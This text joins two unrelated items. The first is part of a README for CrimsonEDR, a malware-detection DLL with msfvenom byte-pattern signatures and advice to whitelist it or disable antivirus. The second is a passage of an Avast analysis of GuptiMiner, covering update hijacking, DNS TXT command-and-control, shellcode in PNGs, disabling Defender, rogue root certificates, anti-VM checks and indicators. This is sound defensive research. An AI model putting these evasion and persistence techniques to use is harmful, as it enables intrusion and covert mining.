PE Stomping Identifies instances of PE (Portable Executable) stomping.
Reflective PE Loading Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis.
Unbacked Thread Origin Identifies threads originating from unbacked memory regions, often indicative of malicious activity.
Unbacked Thread Start Address Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection.
API hooking Places a hook on the NtWriteVirtualMemory function to monitor memory modifications.
Custom Pattern Search Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures.

Installation

To get started with CrimsonEDR, follow these steps:

  1. Install dependancy: bash sudo apt-get install gcc-mingw-w64-x86-64
  2. Clone the repository: bash git clone https://github.com/Helixo32/CrimsonEDR
  3. Compile the project: bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh

⚠️ Warning

Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.

Usage

To use CrimsonEDR, follow these steps:

  1. Make sure the ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:
{
"IOC": [
["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
]
}
  1. Execute CrimsonEDRPanel.exe with the following arguments:

    • -d <path_to_dll>: Specifies the path to the CrimsonEDR.dll file.

    • -p <process_id>: Specifies the Process ID (PID) of the target process where you want to inject the DLL.

For example:

.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234

Useful Links

Here are some useful resources that helped in the development of this project:

Contact

For questions, feedback, or support, please reach out to me via:



GuptiMiner: Hijacking Antivirus Updates for Distributing Backdoors and Casual Mining

23 April 2024 at 09:00

Key Points

  • Avast discovered and analyzed a malware campaign hijacking an eScan antivirus update mechanism to distribute backdoors and coinminers
  • Avast disclosed the vulnerability to both eScan antivirus and India CERT. On 2023-07-31, eScan confirmed that the issue was fixed and successfully resolved
  • The campaign was orchestrated by a threat actor with possible ties to Kimsuky
  • Two different types of backdoors have been discovered, targeting large corporate networks
  • The final payload distributed by GuptiMiner was also XMRig

Introduction

We’ve been tracking a curious one here. Firstly, GuptiMiner is a highly sophisticated threat that uses an interesting infection chain along with a couple of techniques that include performing DNS requests to the attacker’s DNS servers, performing sideloading, extracting payloads from innocent-looking images, signing its payloads with a custom trusted root anchor certification authority, among others.

The main objective of GuptiMiner is to distribute backdoors within big corporate networks. We’ve encountered two different variants of these backdoors: The first is an enhanced build of PuTTY Link, providing SMB scanning of the local network and enabling lateral movement over the network to potentially vulnerable Windows 7 and Windows Server 2008 systems on the network. The second backdoor is multi-modular, accepting commands from the attacker to install more modules as well as focusing on scanning for stored private keys and cryptowallets on the local system.

Interestingly, GuptiMiner also distributes XMRig on the infected devices, which is a bit unexpected for such a thought-through operation.

The actors behind GuptiMiner have been capitalizing on an insecurity within an update mechanism of Indian antivirus vendor eScan to distribute the malware by performing a man-in-the-middle attack. We disclosed this security vulnerability to both eScan and the India CERT and received confirmation on 2023-07-31 from eScan that the issue was fixed and successfully resolved.

GuptiMiner is a long-standing malware, with traces of it dating back to 2018 though it is likely that it is even older. We have also found that GuptiMiner has possible ties to Kimsuky, a notorious North Korean APT group, by observing similarities between Kimsuky keylogger and parts of the GuptiMiner operation.
In this analysis, we will cover the GuptiMiner’s features and its evolution over time. We will also denote in which samples the particular features are contained or introduced to support the overall comprehension in the vast range of IoCs.

It is also important to note that since the users rarely install more than one AV on their machine, we may have limited visibility into GuptiMiner’s activity and its overall scope. Because of this, we might be looking only at the tip of the iceberg and the true scope of the entire operation may still be subject to discovery.

Infection Chain

To illustrate the complexity of the whole infection, we’ve provided a flow chart containing all parts of the chain. Note that some of the used filenames and/or workflows can slightly vary depending on the specific version of GuptiMiner, but the flowchart below illustrates the overall process.

The whole process starts with eScan requesting an update from the update server where an unknown MitM intercepts the download and swaps the update package with a malicious one. Then, eScan unpacks and loads the package and a DLL is sideloaded by eScan clean binaries. This DLL enables the rest of the chain, following with multiple shellcodes and intermediary PE loaders.

Resulted GuptiMiner consists of using XMRig on the infected machine as well as introducing backdoors which are activated when deployed in large corporate networks.

GuptiMiner’s infection chain

Evolution and Timelines

GuptiMiner has been active since at least 2018. Over the years, the developers behind it have improved the malware significantly, bringing new features to the table. We will describe the specific features in detail in respective subsections.

With that said, we also wanted to illustrate the significant IoCs in a timeline representation, how they changed over time – focusing on mutexes, PDBs, and used domains. These timelines were created based on scanning for the IoCs over a large sample dataset, taking the first and last compilation timestamps of the samples, then forming the intervals. Note that the scanned dataset is larger than listed IoCs in the IoC section. For more detailed list of IoCs, please visit our GitHub.

Domains in Time

In general, GuptiMiner uses the following types of domains during its operations: 

  • Malicious DNS – GuptiMiner hosts their own DNS servers for serving true destination domain addresses of C&C servers via DNS TXT responses 
  • Requested domains – Domains for which the malware queries the DNS servers for 
  • PNG download – Servers for downloading payloads in the form of PNG files. These PNG files are valid images (a logo of T-Mobile) that contain appended shellcodes at their end 
  • Config mining pool – GuptiMiner contains two different configurations of mining pools. One is hardcoded directly in the XMRig config which is denoted in this group 
  • Modified mining pool – GuptiMiner has the ability to modify the pre-defined mining pools which is denoted in this group 
  • Final C&C – Domains that are used in the last backdoor stage of GuptiMiner, providing additional malware capabilities in the backdoored systems 
  • Other – Domains serving different purposes, e.g., used in scripts 

Note that as the malware connects to the malicious DNS servers directly, the DNS protocol is completely separated from the DNS network. Thus, no legitimate DNS server will ever see the traffic from this malware. The DNS protocol is used here as a functional equivalent of telnet. Because of this, this technique is not a DNS spoofing since spoofing traditionally happens on the DNS network. 

Furthermore, the fact that the servers for which GuptiMiner asks for in the Requested domain category actually exist is purely a coincidence, or rather a network obfuscation to confuse network monitoring tools and analysts.

Timeline illustrating GuptiMiner’s usage of domains in time

From this timeline, it is apparent that authors behind GuptiMiner realize the correct setup of their DNS servers is crucial for the whole chain to work properly. Because of this, we can observe the biggest rotation and shorter timeframes are present in the Malicious DNS group. 

Furthermore, since domains in the Requested domain group are irrelevant (at least from the technical viewpoint), we can notice that the authors are reusing the same domain names for longer periods of time. 

Mutexes in Time 

Mutexes help ensure correct execution flow of a software and malware authors often use these named objects for the same purpose. Since 2018, GuptiMiner has changed its mutexes multiple times. Most significantly, we can notice a change since 2021 where the authors changed the mutexes to reflect the compilation/distribution dates of their new versions. 

Timeline illustrating GuptiMiner’s usage of mutexes in time

An attentive reader can likely observe two takeaways: The first is the apparent outliers in usage of MIVOD_6, SLDV15, SLDV13, and Global\Wed Jun  2 09:43:03 2021. According to our data, these mutexes were truly reused multiple times in different builds, creating larger timeframes than expected. 

Another point is the re-introduction of PROCESS_ mutex near the end of last year. At this time, the authors reintroduced the mutex with the string in UTF-16 encoding, which we noted separately.

PDBs in Time 

With regard to debugging symbols, the authors of GuptiMiner left multiple PDB paths in their binaries. Most of the time, they contain strings like MainWork, Projects, etc. 

Timeline illustrating PDBs contained in GuptiMiner in time

Stage 0 – Installation Process 

Intercepting the Updates

Everyone should update their software, right? Usually, the individual either downloads the new version manually from the official vendor’s site, or – preferably – the software itself performs the update automatically without much thought or action from the user. But what happens when someone is able to hijack this automatic process? 

Our investigation started as we began to observe some of our users were receiving unusual responses from otherwise legitimate requests, for example on: 

http://update3[.]mwti[.]net/pub/update/updll3.dlz

This is truly a legitimate URL to download the updll3.dlz file which is, under normal circumstances, a legitimate archive containing the update of the eScan antivirus. However, we started seeing suspicious behavior on some of our clients, originating exactly from URLs like this. 

What we uncovered was that the actors behind GuptiMiner were performing man-in-the-middle (MitM) to download an infected installer on the victim’s PC, instead of the update. Unfortunately, we currently don’t have information on how the MitM was performed. We assume that some kind of pre-infection had to be present on the victim’s device or their network, causing the MitM. 

Update Package

c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3
(version.dll, 2018-04-19 09:47:41 UTC)

Throughout the analysis, we will try to describe not just the flow of the infection chain, malware techniques, and functionalities of the stages, but we will also focus on different versions, describing how the malware authors developed and changed GuptiMiner over time.

The first GuptiMiner sample that we were able to find was compiled on Tuesday, 2018-04-19 09:47:41 and it was uploaded to VirusTotal the day after from India, followed by an upload from Germany:
c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3

This file was named C:\Program Files\eScan\VERSION.DLL which points out the target audience is truly eScan users and it comes from an update package downloaded by the AV. 

Even though this version lacked several features present in the newer samples, the installation process is still the same, as follows: 

  1. The eScan updater triggers the update 
  2. The downloaded package file is replaced with a malicious one on the wire because of a missing HTTPS encryption (MitM is performed) 
  3. A malicious package updll62.dlz is downloaded and unpacked by eScan updater 
  4. The contents of the package contain a malicious DLL (usually called version.dll) that is sideloaded by eScan. Because of the sideloading, the DLL runs with the same privileges as the source process – eScan – and it is loaded next time eScan runs, usually after a system restart 
  5. If a mutex is not present in the system (depends on the version, e.g. Mutex_ONLY_ME_V1), the malware searches for services.exe process and injects its next stage into the first one it can find 
  6. Cleanup is performed, removing the update package 

The malicious DLL contains additional functions which are not present in the clean one. Thankfully the names are very verbose, so no analysis was required for most of them. The list of the functions can be seen below.

Additional exported functions

Some functions, however, are unique. For example, the function X64Call provides Heaven’s gate, i.e., it is a helper function for running x64 code inside a 32-bit process on a 64-bit system. The malware needs this to be able to run the injected shellcode depending on the OS version and thus the bitness of the services.exe process. 

Heaven’s gate to run the shellcode in x64 environment when required

To keep the original eScan functionality intact, the malicious version.dll also needs to handle the original legacy version.dll functionality. This is done by forwarding all the exported functions from the original DLL. When a call of the legacy DLL function is identified, GuptiMiner resolves the original function and calls it afterwards. 

Resolving function that ensures all the original version.dll exports are available

Injected Shellcode in services.exe 

After the shellcode is injected into services.exe, it serves as a loader of the next stage. This is done by reading an embedded PE file in a plaintext form. 

Embedded PE file loaded by the shellcode

This PE file is loaded by standard means, but additionally, the shellcode also destroys the PE’s DOS header and runs it by calling its entry point, as well as it removes the embedded PE from the original location memory altogether. 

Command Line Manipulation 

Across the entire GuptiMiner infection chain, every shellcode which is loading and injecting PE files also manipulates the command line of the current process. This is done by manipulating the result of GetCommandLineA/W which changes the resulted command line displayed for example in Task Manager. 

Command line manipulation function

After inspecting this functionality, we believe it either doesn’t work as the authors intended or we don’t understand its usage. Long story short, the command line is changed in such a way that everything before the first --parameter is skipped, and this parameter is then appended to the process name. 

To illustrate this, we could take a command:
notepad.exe param1 --XX param2
which will be transformed into:
notepad.exeXX param2 

However, we have not seen a usage like power --shell.exe param1 param2 that would result into:
powershell.exe param1 param2
nor have we seen any concealment of parameters (like usernames and passwords for XMRig), a type of behavior we would anticipate when encountering something like this. In either case, this functionality is obfuscating the command line appearance, which is worth mentioning. An interested reader can play around with the functionality at the awesome godbolt.org here

Code Virtualization 

7a1554fe1c504786402d97edecc10c3aa12bd6b7b7b101cfc7a009ae88dd99c6
(version.dll, 2018-06-12 03:30:01) 

Another version with a mutex ONLY_ME_V3 introduced a code virtualization. This can be observed by an additional section in the PE file called .v_lizer. This section was also renamed a few times in later builds.

A new section with the virtualized code is called .v_lizer

Thankfully the obfuscation is rather weak, provided the shellcode as well as the embedded PE file are still in the plaintext form. 

Furthermore, the authors started to distinguish between the version.dll stage and the PE file loaded by the shellcode by additional mutex. Previously, both stages used the shared mutex ONLY_ME_Vx, now the sideloading uses MTX_V101 as a mutex.

Stage 0.9 – Installation Improvements

3515113e7127dc41fb34c447f35c143f1b33fd70913034742e44ee7a9dc5cc4c
(2021-03-28 14:41:07 UTC) 

The installation process has undergone multiple improvements over time, and, since it is rather different compared to older variants, we decided to describe it separately as an intermediary Stage 0.9. With these improvements, the authors introduced a usage of scheduled tasks, WMI events, two differently loaded next stages (Stage 1 – PNG loader), turning off Windows Defender, and installing crafted certificates to Windows. 

There are also multiple files dropped at this stage, enabling further sideloading by the malware. These files are clean and serve exclusively for sideloading purposes. The malicious DLLs that are being sideloaded, are two PNG loaders (Stage 1): 

  • de48abe380bd84b5dc940743ad6727d0372f602a8871a4a0ae2a53b15e1b1739 *atiadlxx.dll 
  • e0dd8af1b70f47374b0714e3b368e20dbcfa45c6fe8f4a2e72314f4cd3ef16ee *BrLogAPI.dll 

WMI Events 

de48abe380bd84b5dc940743ad6727d0372f602a8871a4a0ae2a53b15e1b1739
(atiadlxx.dll, 2021-03-28 14:30:11 UTC) 

At this stage, WMI events are used for loading the first of the PNG loaders. This loader is extracted to a path:
C:\PROGRAMDATA\AMD\CNext\atiadlxx.dll 

Along with it, additional clean files are dropped, and they are used for sideloading, in either of these locations (can be both): 
C:\ProgramData\AMD\CNext\slsnotif.exe 
C:\ProgramData\AMD\CNext\msvcr120.dll

or
C:\Program Files (x86)\AMD\CNext\CCCSlim\slsnotify.exe
C:\Program Files (x86)\AMD\CNext\CCCSlim\msvcr120.dll 

The clean file slsnotify.exe is then registered via WMI event in such a way that it is executed when these conditions are met:

WMI conditions to trigger sideloading

In other words, the sideloading is performed on a workday in either January, July, or November. The numbers represented by %d are randomly selected values. The two possibilities for the hour are exactly two hours apart and fall within the range of 11–16 or 13–18 (inclusive). This conditioning further underlines the longevity of GuptiMiner operations.

Scheduled Tasks

e0dd8af1b70f47374b0714e3b368e20dbcfa45c6fe8f4a2e72314f4cd3ef16ee
(BrLogAPI.dll, 2021-03-28 14:10:27 UTC)

Similarly to the WMI events, GuptiMiner also drops a clean binary for sideloading at this location:
C:\ProgramData\Brother\Brmfl14c\BrRemPnP.exe 

The malicious PNG loader is then placed in one (or both) of these locations:
C:\Program Files (x86)\Brother\Brmfl14c\BrLogAPI.dll
C:\Program Files\Brother\Brmfl14c\BrLogAPI.dll 

The scheduled task is created by invoking a Task Scheduler. The scheduled task has these characteristics: 

  • It is created and named as C:\Windows\System32\Tasks\Microsoft\Windows\Brother\Brmfl14c 
  • Executes: C:\ProgramData\Brother\Brmfl14c\BrRemPnP.exe 
  • The execution is done under a folder containing the to-be-sideloaded DLL, e.g.: C:\Program Files (x86)\Brother\Brmfl14c\ 
  • The execution is performed with every boot (TASK_TRIGGER_BOOT) with SYSTEM privileges 

Deploy During Shutdown

3515113e7127dc41fb34c447f35c143f1b33fd70913034742e44ee7a9dc5cc4c
(2021-03-28 14:41:07 UTC)

Let’s now look at how all these files, clean and malicious, are being deployed. One of GuptiMiner’s tricks is that it drops the final payload, containing PNG loader stage, only during the system shutdown process. Thus, this happens at the time other applications are shutting down and potentially not protecting the user anymore.

The main flow of the Stage 0.9 variant – drops final payload during system shutdown

From the code above, we can observe that only when the SM_SHUTTINGDOWN metric is non-zero, meaning the current session is shutting down, as well as all the supporting clean files were dropped successfully, the final payload DLL is dropped as well. 

An engaged reader could also notice in the code above that the first function that is being called disables Windows Defender. This is done by standard means of modifying registry keys. Only if the Defender is disabled can the malware proceed with the malicious actions. 

Adding Certificates to Windows

Most of the time, GuptiMiner uses self-signed binaries for their malicious activities. However, this time around, the attackers went a step further. In this case, both of the dropped PNG loader DLLs are signed with a custom trusted root anchor certification authority. This means that the signature is inherently untrusted since the attackers’ certification authority cannot be trusted by common verification processes in Windows. 

However, during the malware installation, GuptiMiner also adds a root certificate to Windows’ certificate store making this certification authority trusted. Thus, when such a signed file is executed, it is understood as correctly signed. This is done by using CertCreateCertificateContext, CertOpenStore, and CertAddCertificateContextToStore API functions.

Function which adds GuptiMiner’s root certificate to Windows

The certificate is present in a plaintext form directly in the GuptiMiner binary file.

A certificate in the plaintext form which is added as root to Windows by the malware

During our research, we found three different certificate issuers used during the GuptiMiner operations: 

  • GTE Class 3 Certificate Authority 
  • VeriSign Class 3 Code Signing 2010 
  • DigiCert Assured ID Code Signing CA 

Note that these names are artificial and any resemblance to legitimate certification authorities shall be considered coincidental. 

Storing Payloads in Registry 

8e96d15864ec0cc6d3976d87e9e76e6eeccc23c551b22dcfacb60232773ec049
(upgradeshow.dll, 2023-11-23 16:41:34 UTC) 

At later development stages, authors behind GuptiMiner started to integrate even better persistence of their payloads by storing the payloads in registry keys. Furthermore, the payloads were also encrypted by XOR using a fixed key. This ensures that the payloads look meaningless to the naked eye. 

We’ve discovered these registry key locations to be utilized for storing the payloads so far: 

  • SYSTEM\CurrentControlSet\Control\Nls\Sorting\Ids\en-US 
  • SYSTEM\CurrentControlSet\Control\PnP\Pci\CardList 
  • SYSTEM\CurrentControlSet\Control\Wdf\DMCF 
  • SYSTEM\CurrentControlSet\Control\StorVSP\Parsers 

Stage 1 – PNG Loader 

ff884d4c01fccf08a916f1e7168080a2d740a62a774f18e64f377d23923b0297
(2018-04-19 09:45:25 UTC) 

When the entry point of the PE file is executed by the shellcode from Stage 0, the malware first creates a scheduled task to attempt to perform cleanup of the initial infection by removing updll62.dlz archive and version.dll library from the system. 

Furthermore, the PE serves as a dropper for additional stages by contacting an attacker’s malicious DNS server. This is done by sending a DNS request to the attacker’s DNS server, obtaining the TXT record with the response. The TXT response holds an encrypted URL domain of a real C&C server that should be requested for an additional payload. This payload is a valid PNG image file (a T-Mobile logo) which also holds a shellcode appended to its end. The shellcode is afterwards executed by the malware in a separate thread, providing further malware functionality as a next stage.

Note that since the DNS server itself is malicious, the requested domain name doesn’t really matter – or, in a more abstract way of thinking about this functionality, it can be rather viewed as a “password” which is passed to the server, deciding whether the DNS server should or shouldn’t provide the desired TXT answer carrying the instructions. 

As we already mentioned in the Domains timeline section, there are multiple of such “Requested domains” used. In the version referenced here, we can see these two being used: 

  • ext.peepzo[.]com 
  • crl.peepzo[.]com 

and the malicious DNS server address is in this case: 

  • ns1.peepzo[.]com 

Here we can see a captured DNS TXT response using Wireshark. Note that Transaction ID = 0x034b was left unchanged during all the years of GuptiMiner operations. We find this interesting because we would expect this could get easily flagged by firewalls or EDRs in the affected network.

DNS TXT response captured by Wireshark

The requests when the malware is performing the queries is done in random intervals. The initial request for the DNS TXT record is performed in the first 20 minutes after the PNG loader is executed. The consecutive requests, which are done for the malware’s update routine, wait up to 69 hours between attempts. 

This update mechanism is reflected by creating separate mutexes with the shellcode version number which is denoted by the first two bytes of the decrypted DNS TXT response (see below for the decryption process). This ensures that no shellcode with the same version is run twice on the system. 

Mutex is numbered by the shellcode’s version information

DNS TXT Record Decryption

After the DNS TXT record is received, GuptiMiner decodes the content using base64 and decrypts it with a combination of MD5 used as a key derivation function and the RC2 cipher for the decryption. Note that in the later versions of this malware, the authors improved the decryption process by also using checksums and additional decryption keys. 

For the key derivation function and the decryption process, the authors decided to use standard Windows CryptoAPI functions.

Typical use of standard Windows CryptoAPI functions

Interestingly, a keen eye can observe an oversight in this initialization process shown above, particularly in the CryptHashData function. The prototype of the CryptHashData API function is:

BOOL CryptHashData(
  [in] HCRYPTHASH hHash,
  [in] const BYTE *pbData,
  [in] DWORD      dwDataLen,
  [in] DWORD      dwFlags
); 

The second argument of this function is a pointer to an array of bytes of a length of dwDataLen. However, this malware provides the string L"POVO@1" in a Unicode (UTF-16) format, represented by the array of bytes *pbData.

Thus, the first six bytes from this array are only db 'P', 0, 'O', 0, 'V', 0 which effectively cuts the key in half and padding it with zeroes. Even though the malware authors changed the decryption key throughout the years, they never fixed this oversight, and it is still present in the latest version of GuptiMiner. 

DNS TXT Record Parsing 

At this point, we would like to demonstrate the decrypted TXT record and how to parse it. In this example, while accessing the attacker’s malicious DNS server ns.srnmicro[.]net and the requested domain spf.microsoft[.]com, the server returned this DNS TXT response: 

VUBw2mOgagCILdD3qWwVMQFPUd0dPHO3MS/CwpL2bVESh9OnF/Pgs6mHPLktvph2

After fully decoding and decrypting this string, we get: 

This result contains multiple fields and can be interpreted as: 

Name Value 
Version 1 
Version 2 
Key size \r (= 0xD
Key Microsoft.com 
C&C URL http://www.deanmiller[.]net/m/ 
Checksum \xde

The first two bytes, Version 1 and Version 2, form the PNG shellcode version. It is not clear why there are two such versions since Version 2 is actually never used in the program. Only Version 1 is considered whether to perform the update – i.e., whether to download and load the PNG shellcode or not. In either case, we could look at these numbers as a major version and a minor version, and only the major releases serve as a trigger for the update process.

The third byte is a key size that denotes how many bytes should be read afterwards, forming the key. Furthermore, no additional delimiter is needed between the key and the URL since the key size is known and the URL follows. Finally, the two-byte checksum can be verified by calculating a sum of all the bytes (modulo 0xFF). 

After the DNS TXT record is decoded and decrypted, the malware downloads the next stage, from the provided URL, in the form of a PNG file. This is done by using standard WinINet Windows API, where the User-Agent is set to contain the bitness of the currently running process.

The malware communicates the bitness of the running process to the C&C

The C&C server uses the User-Agent information for two things: 

  • Provides the next stage (a shellcode) in the correct bitness 
  • Filters any HTTP request that doesn’t contain this information as a protection mechanism 

Parsing the PNG File 

After the downloaded file is a valid PNG file which also contains a shellcode appended at the end. The image is a T-Mobile logo and has exactly 805 bytes. These bytes are skipped by the malware and the rest of the file, starting at an offset 0x325, is decrypted by RC2 using the key provided in the TXT response (derived using MD5). The reason of using an image as this “prefix” is to further obfuscate the network communication where the payload looks like a legitimate image, likely overlooking the appended malware code. 

PNG file containing the shellcode starting at 0x325

After the shellcode is loaded from the position 0x325, it proceeds with loading additional PE loader from memory to unpack next stages using Gzip. 

IP Address Masking

294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a
(2023-11-09 14:19:45 UTC) 

In late 2023, the authors decided to ditch the years-long approach of using DNS TXT records for distributing payloads and they switched to IP address masking instead. 

This new approach consists of a few steps: 

  1. Obtain an IP address of a hardcoded server name registered to the attacker by standard means of using gethostbyname API function 
  2. For that server, two IP addresses are returned – the first is an IP address which is a masked address, and the second one denotes an available payload version and starts with 23.195. as the first two octets 
  3. If the version is newer than the current one, the masked IP address is de-masked and results in a real C&C IP address 
  4. The real C&C IP address is used along with a hardcoded constant string (used in a URL path) to download the PNG file containing the shellcode 

The de-masking process is done by XORing each octet of the IP address by 0xA, 0xB, 0xC, 0xD, respectively. The result is then taken, and a hardcoded constant string is added to the URL path. 

As an example, one such server we observed was www.elimpacific[.]net. It was, at the time, returning: 

The address 23.195.101[.]1 denotes a version and if it is greater than the current version, it performs the update by downloading the PNG file with the shellcode. This update is downloaded by requesting a PNG file from the real C&C server whose address is calculated by de-masking the 179.38.204[.]38 address: 

The request is then made, along with the calculated IP address 185.45.192[.]43 and a hardcoded constant elimp. Using a constant like this serves as an additional password, in a sense:
185.45.192[.]43/elimp/ 

GuptiMiner is requesting the payload from a real IP address

When the PNG file is downloaded, the rest of the process is the same as usual. 

We’ve discovered two servers for this functionality so far: 

Queried server URL path constant 
www.elimpacific[.]net elimp 
www.espcomp[.]net OpenSans 

Anti-VM and Anti-debug Tricks 

294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a
(2023-11-09 14:19:45 UTC) 

Along with other updates described above, we also observed an evolution in using anti-VM and anti-debugging tricks. These are done by checking well known disk drivers, registry keys, and running processes. 

GuptiMiner checks for these disk drivers by enumerating
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Disk\Enum

  • vmware 
  • qemu 
  • vbox 
  • virtualhd 

Specifically, the malware also checks the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Cylance for the presence of Cylance AV. 

As other anti-VM measures, the malware also checks whether the system has more than 4GB available RAM and at least 4 CPU cores. 

Last but not least, the malware also checks the presence of these processes by their prefixes: 

Process name prefix Tool name 
wireshar Wireshark 
windbg. WinDbg 
tcpview TCPView 
360 360 Total Security 
hips Huorong Internet Security (hipsdaemon.exe
proce Process Explorer 
procm Process Monitor 
ollydbg OllyDbg 

Storing Images in Registry

6305d66aac77098107e3aa6d85af1c2e3fc2bb1f639e4a9da619c8409104c414
(2023-02-22 14:03:04 UTC) 

Similarly to Storing Payloads in Registry, in later stages of GuptiMiner, the authors also started to save the downloaded PNG images (containing the shellcodes) into registry as well. Contrary to storing the payloads, the images are not additionally XORed since the shellcodes in them are already encrypted using RC2 (see DNS TXT Record Decryption section for details). 

We’ve discovered these registry key locations to be utilized for storing the encrypted images containing the shellcodes so far: 

  • SYSTEM\CurrentControlSet\Control\Arbiters\Class 
  • SYSTEM\CurrentControlSet\Control\CMF\Class 
  • SYSTEM\CurrentControlSet\Control\CMF\CORE 
  • SYSTEM\CurrentControlSet\Control\CMF\DEF 
  • SYSTEM\CurrentControlSet\Control\CMF\Els 
  • SYSTEM\CurrentControlSet\Control\CMF\ASN 
  • SYSTEM\CurrentControlSet\Control\MSDTC\BSR 

Stage 2 – Gzip Loader 

357009a70daacfc3379560286a134b89e1874ab930d84edb2d3ba418f7ad6a0b
(2019-04-02 07:30:21 UTC) 

This stage is the shortest, the Gzip loader, which is extracted and executed by the shellcode from the PNG file, is a simple PE that decompresses another shellcode using Gzip and executes it in a separate thread. 

This thread additionally loads Stage 3, which we call Puppeteer, that orchestrates the core functionality of the malware – the cryptocurrency mining as well as, when applicable, deploying backdoors on the infected systems. 

Throughout the GuptiMiner operations, Gzip loader has not been changed with later versions. 

Stage 3 – Puppeteer

364984e8d62eb42fd880755a296bd4a93cc071b9705c1f1b43e4c19dd84adc65
(2019-03-15 10:07:36 UTC) 

Let’s now look at the biggest Stage 3, the Puppeteer. It pulls its strings everywhere across the infected system, manipulating the GuptiMiner components to do its bidding, hence the name we’ve chosen. It orchestrates further actions and deploys two core components of the malware – an XMRig coinminer and two types of backdoors that target devices present in large corporate networks. Of course, Puppeteer also introduces additional tricks to the arsenal of the whole GuptiMiner operation. 

This stage also uses one of the many Global\SLDV mutexes which we described in the Mutex timeline. For example, this particular sample uses SLDV01 as its mutex.

Puppeteer Setup

Puppeteer performs several steps for a proper setup. Firstly, it adds a new power scheme in Windows so the PC does not go to sleep. If the CPU has only one core (anti-VM) or the mutex already exists, the malware ceases to function by going to infinite sleep. 

In the next phase, the malware kills all the processes with a name msiexec.exe, cmstp.exe, or credwiz.exe. After that, it creates a separate thread that injects XMRig into a credwiz.exe process freshly created by the malware. The malware also disables Windows Defender by setting its service start status to disabled. 

For the persistence, Puppeteer chose an interesting approach. Firstly, it creates a scheduled task with the following configuration: 

  • A legitimate rundll32.exe file is copied and renamed into C:\ProgramData\Microsoft\Crypto\Escan\dss.exe and this file is executed from the scheduled task 
  • The malicious DLL is placed to C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3 and this file is loaded by dss.exe (exported function ValidateFile
  • The task is executed with every boot (TASK_TRIGGER_BOOT) and TASK_RUNLEVEL_HIGHEST priority 
  • The task is named and located at C:\Windows\system32\tasks\Microsoft\windows\autochk\ESUpgrade 

With that, the malware copies the content of updll3.dll3 into memory and deletes the original file from disk. Puppeteer then waits for a system shutdown (similarly to Stage 0.9) by waiting for SM_SHUTTINGDOWN metric to be set to non-zero value, indicating the shutdown. This is checked every 100 milliseconds. Only when the shutdown of the system is initiated, the malware reintroduces the updll3.dll3 file back onto disk. 

Putting the malicious DLL back just before the system restart is really sneaky but also has potentially negative consequences. If the victim’s device encounters a crash, power outage, or any other kind of unexpected shutdown, the file won’t be restored from memory and Puppeteer will stop working from this point. Perhaps this is the reason why authors actually removed this trick in later versions, trading the sophistication for malware’s stability.

A code ensuring the correct after-reboot execution

The repetitive loading of updll3.dll3, as seen in the code above, is in fact Puppeteer’s update process. The DLL will ultimately perform steps of requesting a new PNG shellcode from the C&C servers and if it is a new version, the chain will be updated. 

XMRig Deployment 

During the setup, Puppeteer created a separate thread for injecting an XMRig coinminer into credwiz.exe process. Before the injection takes place, however, a few preparation steps are performed. 

The XMRig configuration is present directly in the XMRig binary (standard JSON config) stored in the Puppeteer binary. This configuration can be, however, modified to different values on the fly. In the example below, we can see a dynamic allocation of mining threads depending on the robustness of the infected system’s hardware. 

Patching the XMRig configuration on the fly, dynamically assigning mining threads

The injection is standard: the malware creates a new suspended process of credwiz.exe and, if successful, the coinmining is injected and executed by WriteProcessMemory and CreateRemoteThread combo. 

Puppeteer continuously monitors the system for running process, by default every 5 seconds. If it encounters any of the monitoring tools below, the malware kills any existing mining by taking down the whole credwiz.exe process as well as it applies a progressive sleep, postponing another re-injection attempt by additional 5 hours. 

  • taskmgr.exe 
  • autoruns.exe 
  • wireshark.exe 
  • wireshark-gtk.exe 
  • tcpview.exe 

Furthermore, the malware needs to locate the current updll3.dll3 on the system so its latest version can be stored in memory, removed from disk, and dropped just before another system restart. Two approaches are used to achieve this: 

  • Reading eScan folder location from HKEY_LOCAL_MACHINE\SOFTWARE\AVC3 
  • If one of the checked processes is called download.exe, which is a legitimate eScan binary, it obtains the file location to discover the folder. The output can look like this: 
    • \Device\HarddiskVolume1\Program Files (x86)\eScan\download.exe 

The check for download.exe serves as an alternative for locating eScan installation folder and the code seems heavily inspired by the example code of Obtaining a File Name From a File handle on MSDN. 

Finally, Puppeteer also continuously monitors the CPU usage on the system and tweaks the core allocation in such a way it is not that much resource heavy and stays under the radar. 

Backdoor Setup

4dfd082eee771b7801b2ddcea9680457f76d4888c64bb0b45d4ea616f0a47f21
(2019-06-29 03:38:24 UTC) 

The backdoor is set up by the previous stage, Puppeteer, by first discovering whether the machine is operating on a Windows Server or not. This is done by checking a DNS Server registry key (DNS Server service is typically running on a Windows Server edition):
SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server 

